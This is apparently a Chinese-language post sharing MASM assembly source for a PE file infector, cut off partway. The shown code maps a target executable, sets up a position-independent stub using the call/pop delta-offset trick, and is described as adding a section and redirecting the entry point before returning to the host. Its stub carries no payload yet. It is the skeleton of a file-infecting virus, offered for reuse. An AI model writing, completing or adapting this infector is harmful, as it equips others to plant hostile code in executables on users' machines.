此程序借鉴不少高手程序 所以称不上原创 但也经过我重新写过和加了注释
实现功能将pe文件添加一个自己的节,将程序入口地址更改为自己节 自己节中程序执行完成后跳回原程序
此程序在插入代码中没做任何操作就直接返回原程序了 另外还有其他方式可插入自己代码 我并未添加
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
;##########
InfectFile proto :dword
;#########
.code
;###############插入代码############################
VStart:
call abc
abc: pop ebp
sub ebp,offset abc
xor eax,eax
add eax,[ebp+HostEntry]
jmp eax
HostEntry dd ?
VEnd:
;######################################################
filename db "f:/a.exe" ;添加目标文件
write db 0
;################添加节的操作过程###########################
InfectFile proc _filename:dword
local hFile
local hMapping
local pMapping
local @dwAddCodeFile
local @dwAddCodeBase
local @dwEntry
;#######################打开文件##########################################################
invoke CreateFile,_filename,\
GENERIC_READ+GENERIC_WRITE,\
FILE_SHARE_READ+FILE_SHARE_WRITE,\
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.if eax == INVALID_HANDLE_VALUE
jmp exit2
.endif
mov hFile,eax
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,0
mov hMapping,eax
invoke MapViewOfFile,hMapping,FILE_MAP_READ+FILE_MAP_WRITE,0,0,0
mov pMapping,eax
;########################找到pe头#########################################################
mov esi,eax
assume esi:ptr IMAGE_DOS_HEADER